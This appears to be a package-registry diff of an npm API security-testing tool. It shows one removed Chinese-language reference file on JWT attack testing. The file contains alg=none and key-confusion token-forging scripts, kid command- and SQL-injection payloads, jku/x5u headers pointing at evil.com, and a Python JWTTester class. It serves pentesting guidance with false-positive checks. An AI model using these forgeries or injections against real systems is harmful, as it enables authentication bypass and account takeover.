opencode-api-security-testing 3.0.9 → 3.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/agents/api-cyber-supervisor.md +22 -19
- package/agents/api-probing-miner.md +34 -10
- package/agents/api-resource-specialist.md +49 -20
- package/agents/api-vuln-verifier.md +69 -18
- package/package.json +1 -1
- package/postinstall.mjs +1 -0
- package/preuninstall.mjs +43 -32
- package/src/index.ts +6 -3
- package/README.md +0 -74
- package/SKILL.md +0 -1797
- package/core/advanced_recon.py +0 -788
- package/core/agentic_analyzer.py +0 -445
- package/core/analyzers/api_parser.py +0 -210
- package/core/analyzers/response_analyzer.py +0 -212
- package/core/analyzers/sensitive_finder.py +0 -184
- package/core/api_fuzzer.py +0 -422
- package/core/api_interceptor.py +0 -525
- package/core/api_parser.py +0 -955
- package/core/browser_tester.py +0 -479
- package/core/cloud_storage_tester.py +0 -1330
- package/core/collectors/__init__.py +0 -23
- package/core/collectors/api_path_finder.py +0 -300
- package/core/collectors/browser_collect.py +0 -645
- package/core/collectors/browser_collector.py +0 -411
- package/core/collectors/http_client.py +0 -111
- package/core/collectors/js_collector.py +0 -490
- package/core/collectors/js_parser.py +0 -780
- package/core/collectors/url_collector.py +0 -319
- package/core/context_manager.py +0 -682
- package/core/deep_api_tester_v35.py +0 -844
- package/core/deep_api_tester_v55.py +0 -366
- package/core/dynamic_api_analyzer.py +0 -532
- package/core/http_client.py +0 -179
- package/core/models.py +0 -296
- package/core/orchestrator.py +0 -890
- package/core/prerequisite.py +0 -227
- package/core/reasoning_engine.py +0 -1042
- package/core/response_classifier.py +0 -606
- package/core/runner.py +0 -938
- package/core/scan_engine.py +0 -599
- package/core/skill_executor.py +0 -435
- package/core/skill_executor_v2.py +0 -670
- package/core/skill_executor_v3.py +0 -704
- package/core/smart_analyzer.py +0 -687
- package/core/strategy_pool.py +0 -707
- package/core/testers/auth_tester.py +0 -264
- package/core/testers/idor_tester.py +0 -200
- package/core/testers/sqli_tester.py +0 -211
- package/core/testing_loop.py +0 -655
- package/core/utils/base_path_dict.py +0 -255
- package/core/utils/payload_lib.py +0 -167
- package/core/utils/ssrf_detector.py +0 -220
- package/core/verifiers/vuln_verifier.py +0 -536
- package/references/README.md +0 -72
- package/references/asset-discovery.md +0 -119
- package/references/fuzzing-patterns.md +0 -129
- package/references/graphql-guidance.md +0 -108
- package/references/intake.md +0 -84
- package/references/pua-agent.md +0 -192
- package/references/report-template.md +0 -156
- package/references/rest-guidance.md +0 -76
- package/references/severity-model.md +0 -76
- package/references/test-matrix.md +0 -86
- package/references/validation.md +0 -78
- package/references/vulnerabilities/01-sqli-tests.md +0 -1128
- package/references/vulnerabilities/02-user-enum-tests.md +0 -423
- package/references/vulnerabilities/03-jwt-tests.md +0 -499
- package/references/vulnerabilities/04-idor-tests.md +0 -362
- package/references/vulnerabilities/05-sensitive-data-tests.md +0 -466
- package/references/vulnerabilities/06-biz-logic-tests.md +0 -501
- package/references/vulnerabilities/07-security-config-tests.md +0 -511
- package/references/vulnerabilities/08-brute-force-tests.md +0 -457
- package/references/vulnerabilities/09-vulnerability-chains.md +0 -465
- package/references/vulnerabilities/10-auth-tests.md +0 -537
- package/references/vulnerabilities/11-graphql-tests.md +0 -355
- package/references/vulnerabilities/12-ssrf-tests.md +0 -396
- package/references/vulnerabilities/README.md +0 -148
- package/references/workflows.md +0 -192
|
@@ -1,499 +0,0 @@
|
|
|
1
|
-
# JWT 认证测试
|
|
2
|
-
|
|
3
|
-
## 1. 概述
|
|
4
|
-
|
|
5
|
-
JWT(JSON Web Token)认证测试主要检查 Token 的生成、验证和使用是否存在安全漏洞。
|
|
6
|
-
|
|
7
|
-
**危险等级**: 高
|
|
8
|
-
|
|
9
|
-
## 2. JWT 结构
|
|
10
|
-
|
|
11
|
-
```
|
|
12
|
-
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwMDAwMDAwMDB9.fake_signature
|
|
13
|
-
|__________||__________________________________||_____________|
|
|
14
|
-
Header Payload Signature
|
|
15
|
-
```
|
|
16
|
-
|
|
17
|
-
### 2.1 Header 解析
|
|
18
|
-
|
|
19
|
-
```json
|
|
20
|
-
{"alg": "HS256", "typ": "JWT"}
|
|
21
|
-
```
|
|
22
|
-
|
|
23
|
-
### 2.2 Payload 解析
|
|
24
|
-
|
|
25
|
-
```json
|
|
26
|
-
{"sub": "admin", "role": "admin", "iat": 1600000000, "exp": 1600003600}
|
|
27
|
-
```
|
|
28
|
-
|
|
29
|
-
## 3. 测试方法
|
|
30
|
-
|
|
31
|
-
### 3.1 空 Token 测试
|
|
32
|
-
|
|
33
|
-
```bash
|
|
34
|
-
# 无 Token
|
|
35
|
-
GET /api/user/info
|
|
36
|
-
Headers: {}
|
|
37
|
-
|
|
38
|
-
# 空 Authorization
|
|
39
|
-
GET /api/user/info
|
|
40
|
-
Headers: {"Authorization": ""}
|
|
41
|
-
|
|
42
|
-
# 无效格式
|
|
43
|
-
GET /api/user/info
|
|
44
|
-
Headers: {"Authorization": "fake_token"}
|
|
45
|
-
```
|
|
46
|
-
|
|
47
|
-
### 3.2 算法篡改
|
|
48
|
-
|
|
49
|
-
```bash
|
|
50
|
-
# alg=none - 删除签名
|
|
51
|
-
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9.
|
|
52
|
-
|
|
53
|
-
# alg=HS256 → HS384
|
|
54
|
-
# alg=HS256 → HS512
|
|
55
|
-
# alg=RSA → HMAC (key confusion)
|
|
56
|
-
```
|
|
57
|
-
|
|
58
|
-
### 3.3 密钥混淆攻击
|
|
59
|
-
|
|
60
|
-
```bash
|
|
61
|
-
# 使用公钥作为密钥(适用于 RS256 → HS256)
|
|
62
|
-
# 获取公钥
|
|
63
|
-
GET /api/publickey
|
|
64
|
-
# 然后使用公钥伪造 Token
|
|
65
|
-
```
|
|
66
|
-
|
|
67
|
-
### 3.4 kid 注入
|
|
68
|
-
|
|
69
|
-
```bash
|
|
70
|
-
# kid 参数命令注入
|
|
71
|
-
{"kid": "xxx|whoami"}
|
|
72
|
-
{"kid": "xxx\"; ls; echo \""}
|
|
73
|
-
{"kid": "xxx' AND SLEEP(3)--"}
|
|
74
|
-
```
|
|
75
|
-
|
|
76
|
-
### 3.5 jku/x5u 注入
|
|
77
|
-
|
|
78
|
-
```bash
|
|
79
|
-
# 控制密钥来源
|
|
80
|
-
{"jku": "http://evil.com/jwks.json"}
|
|
81
|
-
{"x5u": "http://evil.com/cert.pem"}
|
|
82
|
-
```
|
|
83
|
-
|
|
84
|
-
### 3.6 常用 JWT Header
|
|
85
|
-
|
|
86
|
-
| Header | 说明 |
|
|
87
|
-
|--------|------|
|
|
88
|
-
| Authorization | `Bearer <token>` |
|
|
89
|
-
| X-Token | 自定义 Token 头 |
|
|
90
|
-
| token | 参数名 token |
|
|
91
|
-
| Admin-Token | 管理员专用 |
|
|
92
|
-
|
|
93
|
-
## 4. JWT 伪造攻击示例
|
|
94
|
-
|
|
95
|
-
### 4.1 alg=none 攻击
|
|
96
|
-
|
|
97
|
-
```python
|
|
98
|
-
import base64
|
|
99
|
-
import json
|
|
100
|
-
|
|
101
|
-
header = {"alg": "none", "typ": "JWT"}
|
|
102
|
-
payload = {"sub": "admin", "role": "admin", "iat": 1600000000}
|
|
103
|
-
|
|
104
|
-
def b64url_encode(data):
|
|
105
|
-
return base64.urlsafe_b64encode(
|
|
106
|
-
json.dumps(data).encode()
|
|
107
|
-
).rstrip(b'=').decode()
|
|
108
|
-
|
|
109
|
-
header_enc = b64url_encode(header)
|
|
110
|
-
payload_enc = b64url_encode(payload)
|
|
111
|
-
|
|
112
|
-
fake_token = f"{header_enc}.{payload_enc}."
|
|
113
|
-
print(fake_token)
|
|
114
|
-
```
|
|
115
|
-
|
|
116
|
-
### 4.2 密钥混淆攻击
|
|
117
|
-
|
|
118
|
-
```python
|
|
119
|
-
# 获取公钥(通常用于验证 RS256)
|
|
120
|
-
public_key = "-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY-----"
|
|
121
|
-
|
|
122
|
-
# 使用公钥作为密钥签发 HS256 Token
|
|
123
|
-
import jwt
|
|
124
|
-
token = jwt.encode(
|
|
125
|
-
{"sub": "admin"},
|
|
126
|
-
public_key,
|
|
127
|
-
algorithm="HS256"
|
|
128
|
-
)
|
|
129
|
-
```
|
|
130
|
-
|
|
131
|
-
## 5. Token 安全检查
|
|
132
|
-
|
|
133
|
-
### 5.1 检查项
|
|
134
|
-
|
|
135
|
-
| 检查项 | 安全配置 |
|
|
136
|
-
|--------|----------|
|
|
137
|
-
| alg | 应为 RS256/ES256,不应为 none/HS256 |
|
|
138
|
-
| exp | 应存在且合理(不超过24小时) |
|
|
139
|
-
| iss | 应存在且可信 |
|
|
140
|
-
| aud | 应存在且为当前应用 |
|
|
141
|
-
| jti | 唯一标识,防重放 |
|
|
142
|
-
|
|
143
|
-
### 5.2 不安全的 JWT 配置
|
|
144
|
-
|
|
145
|
-
```json
|
|
146
|
-
{"alg": "none"}
|
|
147
|
-
{"alg": "HS256", "secret": "secret123"}
|
|
148
|
-
{"alg": "HS256", "key": "shared_secret"}
|
|
149
|
-
```
|
|
150
|
-
|
|
151
|
-
## 6. 重放攻击测试
|
|
152
|
-
|
|
153
|
-
```bash
|
|
154
|
-
# 1. 获取有效 Token
|
|
155
|
-
POST /api/login
|
|
156
|
-
{"username": "admin", "password": "xxx"}
|
|
157
|
-
# 返回: {"token": "eyJhbGc..."}
|
|
158
|
-
|
|
159
|
-
# 2. 重放 Token
|
|
160
|
-
GET /api/user/info
|
|
161
|
-
Headers: {"Authorization": "Bearer eyJhbGc..."}
|
|
162
|
-
|
|
163
|
-
# 3. 检查是否每次都生成新 Token
|
|
164
|
-
# 如果 Token 可重放且不变 → 存在重放风险
|
|
165
|
-
```
|
|
166
|
-
|
|
167
|
-
## 7. 关联漏洞
|
|
168
|
-
|
|
169
|
-
| 后续漏洞 | 利用路径 |
|
|
170
|
-
|----------|----------|
|
|
171
|
-
| 垂直越权 | 伪造 admin 角色 |
|
|
172
|
-
| 水平越权 | 篡改 userId |
|
|
173
|
-
| 账户接管 | 修改用户信息 |
|
|
174
|
-
|
|
175
|
-
## 8. 测试检查清单
|
|
176
|
-
|
|
177
|
-
```
|
|
178
|
-
□ 解析 Token 结构(Header, Payload, Signature)
|
|
179
|
-
□ 测试空 Token 访问
|
|
180
|
-
□ 测试 alg=none 绕过
|
|
181
|
-
□ 测试算法篡改(HS256 → HS384/512)
|
|
182
|
-
□ 测试密钥混淆攻击
|
|
183
|
-
□ 测试 kid 注入
|
|
184
|
-
□ 测试 jku/x5u 注入
|
|
185
|
-
□ 检查 Token 过期时间(exp)
|
|
186
|
-
□ 检查重放攻击
|
|
187
|
-
□ 评估伪造难度和影响
|
|
188
|
-
```
|
|
189
|
-
|
|
190
|
-
## 9. JWT 库指纹
|
|
191
|
-
|
|
192
|
-
| 库 | 错误信息特征 |
|
|
193
|
-
|----|--------------|
|
|
194
|
-
| pyjwt | "Signature verification failed" |
|
|
195
|
-
| node-jsonwebtoken | "invalid signature" |
|
|
196
|
-
| java-jwt | "Signature verification errors" |
|
|
197
|
-
| go-jwt | "signature is invalid" |
|
|
198
|
-
|
|
199
|
-
## 10. 误报判断标准
|
|
200
|
-
|
|
201
|
-
### 10.1 核心判断原则
|
|
202
|
-
|
|
203
|
-
```
|
|
204
|
-
【重要】JWT测试的误判率高,必须明确区分"正常响应"和"漏洞响应"
|
|
205
|
-
|
|
206
|
-
判断逻辑:
|
|
207
|
-
1. 先获取正常认证流程的响应
|
|
208
|
-
2. 对比伪造/篡改Token后的响应
|
|
209
|
-
3. 差异必须说明"成功伪造了有效Token"
|
|
210
|
-
|
|
211
|
-
【真实漏洞特征】
|
|
212
|
-
- alg:none成功 → 返回正常业务数据(不是错误)
|
|
213
|
-
- 密钥混淆成功 → 能用公钥签发有效Token
|
|
214
|
-
- 修改userId后 → 能访问他人的数据
|
|
215
|
-
|
|
216
|
-
【误报特征】
|
|
217
|
-
- 空Token返回401 → 这是正常的安全防护
|
|
218
|
-
- 过期Token返回过期错误 → 这是正常的过期机制
|
|
219
|
-
- 伪造Token返回"签名错误" → 这是正常的验证失败
|
|
220
|
-
```
|
|
221
|
-
|
|
222
|
-
### 10.2 curl + 对比验证流程
|
|
223
|
-
|
|
224
|
-
```bash
|
|
225
|
-
# 1. 【必须先执行】获取正常认证Token
|
|
226
|
-
curl -s -X POST http://api/login \
|
|
227
|
-
-H "Content-Type: application/json" \
|
|
228
|
-
-d '{"username":"admin","password":"xxx"}' > jwt_baseline.json
|
|
229
|
-
|
|
230
|
-
# 查看返回的Token结构
|
|
231
|
-
cat jwt_baseline.json | jq .
|
|
232
|
-
|
|
233
|
-
# 2. 分析Token结构
|
|
234
|
-
echo "Header:"
|
|
235
|
-
echo "$TOKEN" | cut -d'.' -f1 | base64 -d | jq .
|
|
236
|
-
|
|
237
|
-
echo "Payload:"
|
|
238
|
-
echo "$TOKEN" | cut -d'.' -f2 | base64 -d | jq .
|
|
239
|
-
|
|
240
|
-
# 3. 测试空Token(正常应该被拒绝)
|
|
241
|
-
curl -s -H "Authorization: " http://api/user/info > jwt_empty_test.json
|
|
242
|
-
|
|
243
|
-
# 4. 测试伪造Token
|
|
244
|
-
# alg=none伪造
|
|
245
|
-
curl -s -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9." \
|
|
246
|
-
http://api/user/info > jwt_forged_test.json
|
|
247
|
-
|
|
248
|
-
# 5. 对比响应
|
|
249
|
-
diff jwt_baseline.json jwt_empty_test.json
|
|
250
|
-
diff jwt_baseline.json jwt_forged_test.json
|
|
251
|
-
```
|
|
252
|
-
|
|
253
|
-
### 10.3 JWT漏洞判断矩阵
|
|
254
|
-
|
|
255
|
-
| 测试场景 | 正常响应 | 漏洞响应 | 判断 |
|
|
256
|
-
|----------|----------|----------|------|
|
|
257
|
-
| 空Token | 401/403拒绝 | 200返回数据 | ⚠️ 漏洞 |
|
|
258
|
-
| alg:none | 签名错误 | 200返回数据 | ⚠️ 漏洞 |
|
|
259
|
-
| 过期Token | 过期错误 | 200返回数据 | ⚠️ 漏洞 |
|
|
260
|
-
| 篡改userId | 自己的数据 | 他人的数据 | ⚠️ 漏洞 |
|
|
261
|
-
| 正确Token | 200返回数据 | - | 正常 |
|
|
262
|
-
| 错误签名 | 签名错误 | - | 正常(验证有效) |
|
|
263
|
-
|
|
264
|
-
### 10.4 Python脚本(JWT深度测试)
|
|
265
|
-
|
|
266
|
-
```python
|
|
267
|
-
import requests
|
|
268
|
-
import json
|
|
269
|
-
import base64
|
|
270
|
-
import time
|
|
271
|
-
|
|
272
|
-
class JWTTester:
|
|
273
|
-
def __init__(self, target):
|
|
274
|
-
self.target = target
|
|
275
|
-
self.valid_token = None
|
|
276
|
-
self.baseline_response = None
|
|
277
|
-
|
|
278
|
-
def login(self, username, password):
|
|
279
|
-
"""获取有效Token"""
|
|
280
|
-
resp = requests.post(
|
|
281
|
-
f"{self.target}/login",
|
|
282
|
-
json={"username": username, "password": password}
|
|
283
|
-
)
|
|
284
|
-
if resp.status_code == 200:
|
|
285
|
-
data = resp.json()
|
|
286
|
-
self.valid_token = data.get('token')
|
|
287
|
-
return self.valid_token
|
|
288
|
-
return None
|
|
289
|
-
|
|
290
|
-
def parse_jwt(self, token):
|
|
291
|
-
"""解析JWT结构"""
|
|
292
|
-
try:
|
|
293
|
-
parts = token.split('.')
|
|
294
|
-
if len(parts) != 3:
|
|
295
|
-
return None, None, None
|
|
296
|
-
|
|
297
|
-
def b64url_decode(data):
|
|
298
|
-
# 添加padding
|
|
299
|
-
data += '=' * (4 - len(data) % 4)
|
|
300
|
-
return base64.urlsafe_b64decode(data)
|
|
301
|
-
|
|
302
|
-
header = json.loads(b64url_decode(parts[0]))
|
|
303
|
-
payload = json.loads(b64url_decode(parts[1]))
|
|
304
|
-
signature = parts[2]
|
|
305
|
-
|
|
306
|
-
return header, payload, signature
|
|
307
|
-
except Exception as e:
|
|
308
|
-
return None, None, None
|
|
309
|
-
|
|
310
|
-
def test_empty_token(self, endpoint):
|
|
311
|
-
"""测试空Token"""
|
|
312
|
-
resp = requests.get(
|
|
313
|
-
f"{self.target}/{endpoint}",
|
|
314
|
-
headers={"Authorization": ""}
|
|
315
|
-
)
|
|
316
|
-
return resp
|
|
317
|
-
|
|
318
|
-
def test_alg_none(self, endpoint, payload_modify=None):
|
|
319
|
-
"""测试alg:none漏洞"""
|
|
320
|
-
# 构造alg:none的Token
|
|
321
|
-
header = {"alg": "none", "typ": "JWT"}
|
|
322
|
-
payload = {"sub": "admin", "iat": int(time.time())}
|
|
323
|
-
|
|
324
|
-
if payload_modify:
|
|
325
|
-
payload.update(payload_modify)
|
|
326
|
-
|
|
327
|
-
def b64url_encode(data):
|
|
328
|
-
return base64.urlsafe_b64encode(
|
|
329
|
-
json.dumps(data).encode()
|
|
330
|
-
).rstrip(b'=').decode()
|
|
331
|
-
|
|
332
|
-
header_enc = b64url_encode(header)
|
|
333
|
-
payload_enc = b64url_encode(payload)
|
|
334
|
-
fake_token = f"{header_enc}.{payload_enc}."
|
|
335
|
-
|
|
336
|
-
resp = requests.get(
|
|
337
|
-
f"{self.target}/{endpoint}",
|
|
338
|
-
headers={"Authorization": f"Bearer {fake_token}"}
|
|
339
|
-
)
|
|
340
|
-
return resp, fake_token
|
|
341
|
-
|
|
342
|
-
def test_signature_forgery(self, endpoint, public_key):
|
|
343
|
-
"""测试密钥混淆攻击"""
|
|
344
|
-
try:
|
|
345
|
-
import jwt
|
|
346
|
-
|
|
347
|
-
# 使用公钥作为密钥签发HS256 Token
|
|
348
|
-
payload = {"sub": "admin", "role": "admin"}
|
|
349
|
-
forged = jwt.encode(payload, public_key, algorithm="HS256")
|
|
350
|
-
|
|
351
|
-
resp = requests.get(
|
|
352
|
-
f"{self.target}/{endpoint}",
|
|
353
|
-
headers={"Authorization": f"Bearer {forged}"}
|
|
354
|
-
)
|
|
355
|
-
return resp, forged
|
|
356
|
-
except:
|
|
357
|
-
return None, None
|
|
358
|
-
|
|
359
|
-
def assess_vulnerability(self, name, test_response, baseline_response):
|
|
360
|
-
"""
|
|
361
|
-
评估是否为真实漏洞
|
|
362
|
-
|
|
363
|
-
判断标准:
|
|
364
|
-
1. 状态码是否为200
|
|
365
|
-
2. 响应是否包含业务数据(不是错误消息)
|
|
366
|
-
3. 响应与baseline是否有实质差异
|
|
367
|
-
"""
|
|
368
|
-
if test_response is None:
|
|
369
|
-
return False, "请求失败"
|
|
370
|
-
|
|
371
|
-
# 获取测试响应内容
|
|
372
|
-
test_data = test_response.text
|
|
373
|
-
test_status = test_response.status_code
|
|
374
|
-
|
|
375
|
-
# 获取baseline内容
|
|
376
|
-
if baseline_response:
|
|
377
|
-
baseline_data = baseline_response.text
|
|
378
|
-
else:
|
|
379
|
-
baseline_data = None
|
|
380
|
-
|
|
381
|
-
# 判断漏洞
|
|
382
|
-
# 1. 状态码200(不是401/403)
|
|
383
|
-
# 2. 响应包含业务数据(不是错误消息)
|
|
384
|
-
if test_status == 200:
|
|
385
|
-
error_keywords = ['error', '失败', '错误', 'invalid', 'forbidden', 'unauthorized']
|
|
386
|
-
is_error = any(kw in test_data.lower() for kw in error_keywords)
|
|
387
|
-
|
|
388
|
-
if not is_error:
|
|
389
|
-
return True, f"疑似漏洞:状态码{test_status},响应非错误"
|
|
390
|
-
else:
|
|
391
|
-
return False, f"正常响应:包含错误提示"
|
|
392
|
-
|
|
393
|
-
return False, f"正常拒绝:状态码{test_status}"
|
|
394
|
-
|
|
395
|
-
def run_tests(self, username="admin", password="admin"):
|
|
396
|
-
"""执行完整JWT测试"""
|
|
397
|
-
print(f"\n=== JWT安全测试 ===\n")
|
|
398
|
-
|
|
399
|
-
# 1. 获取有效Token
|
|
400
|
-
print("[1] 获取有效Token")
|
|
401
|
-
token = self.login(username, password)
|
|
402
|
-
if token:
|
|
403
|
-
header, payload, sig = self.parse_jwt(token)
|
|
404
|
-
print(f" Token: {token[:50]}...")
|
|
405
|
-
print(f" Header: {json.dumps(header)}")
|
|
406
|
-
print(f" Payload: {json.dumps(payload)}")
|
|
407
|
-
self.valid_token = token
|
|
408
|
-
else:
|
|
409
|
-
print(" 获取Token失败")
|
|
410
|
-
return
|
|
411
|
-
|
|
412
|
-
# 获取baseline响应
|
|
413
|
-
print("\n[2] 获取正常响应baseline")
|
|
414
|
-
resp = requests.get(
|
|
415
|
-
f"{self.target}/user/info",
|
|
416
|
-
headers={"Authorization": f"Bearer {token}"}
|
|
417
|
-
)
|
|
418
|
-
self.baseline_response = resp
|
|
419
|
-
print(f" Status: {resp.status_code}")
|
|
420
|
-
print(f" Response: {resp.text[:200]}")
|
|
421
|
-
|
|
422
|
-
# 测试空Token
|
|
423
|
-
print("\n[3] 测试空Token")
|
|
424
|
-
resp = self.test_empty_token("user/info")
|
|
425
|
-
print(f" Status: {resp.status_code}")
|
|
426
|
-
is_vuln, reason = self.assess_vulnerability("空Token", resp, self.baseline_response)
|
|
427
|
-
print(f" {reason}")
|
|
428
|
-
|
|
429
|
-
# 测试alg:none
|
|
430
|
-
print("\n[4] 测试alg:none")
|
|
431
|
-
resp, fake_token = self.test_alg_none("user/info")
|
|
432
|
-
if resp:
|
|
433
|
-
print(f" 伪造Token: {fake_token[:50]}...")
|
|
434
|
-
is_vuln, reason = self.assess_vulnerability("alg:none", resp, self.baseline_response)
|
|
435
|
-
print(f" {reason}")
|
|
436
|
-
|
|
437
|
-
return {
|
|
438
|
-
'valid_token': token,
|
|
439
|
-
'alg_none_vulnerable': is_vuln
|
|
440
|
-
}
|
|
441
|
-
|
|
442
|
-
# 使用示例
|
|
443
|
-
if __name__ == "__main__":
|
|
444
|
-
tester = JWTTester("http://api")
|
|
445
|
-
results = tester.run_tests()
|
|
446
|
-
```
|
|
447
|
-
|
|
448
|
-
## 11. 实战判断案例
|
|
449
|
-
|
|
450
|
-
### 案例1:正常的Token验证
|
|
451
|
-
|
|
452
|
-
```
|
|
453
|
-
【场景】:空Token被正确拒绝
|
|
454
|
-
|
|
455
|
-
curl测试:
|
|
456
|
-
curl -H "Authorization: " http://api/user/info
|
|
457
|
-
→ {"code":401,"msg":"请先登录"}
|
|
458
|
-
|
|
459
|
-
判断:
|
|
460
|
-
- 状态码401
|
|
461
|
-
- 响应包含"请先登录"
|
|
462
|
-
- 结论:【安全】Token验证正常工作
|
|
463
|
-
```
|
|
464
|
-
|
|
465
|
-
### 案例2:alg:none漏洞
|
|
466
|
-
|
|
467
|
-
```
|
|
468
|
-
【场景】:使用alg:none伪造Token成功访问
|
|
469
|
-
|
|
470
|
-
curl测试:
|
|
471
|
-
# 构造alg:none Token
|
|
472
|
-
curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9." \
|
|
473
|
-
http://api/user/info
|
|
474
|
-
→ {"userId":1,"username":"admin","role":"admin"}
|
|
475
|
-
|
|
476
|
-
判断:
|
|
477
|
-
- 伪造Token返回了正常的业务数据
|
|
478
|
-
- 没有被拒绝
|
|
479
|
-
- 结论:【确认漏洞】alg:none漏洞存在
|
|
480
|
-
```
|
|
481
|
-
|
|
482
|
-
### 案例3:密钥混淆攻击
|
|
483
|
-
|
|
484
|
-
```
|
|
485
|
-
【场景】:使用公钥伪造Token成功
|
|
486
|
-
|
|
487
|
-
前提:
|
|
488
|
-
1. 获取公钥: GET /api/publickey
|
|
489
|
-
2. 使用公钥作为HS256密钥签发Token
|
|
490
|
-
|
|
491
|
-
curl测试:
|
|
492
|
-
curl -H "Authorization: Bearer <伪造的Token>" http://api/admin/users
|
|
493
|
-
|
|
494
|
-
判断:
|
|
495
|
-
- 如果返回200且包含用户数据 → 确认漏洞
|
|
496
|
-
- 如果返回403/签名错误 → 安全
|
|
497
|
-
|
|
498
|
-
结论:【确认漏洞/安全】取决于响应
|
|
499
|
-
```
|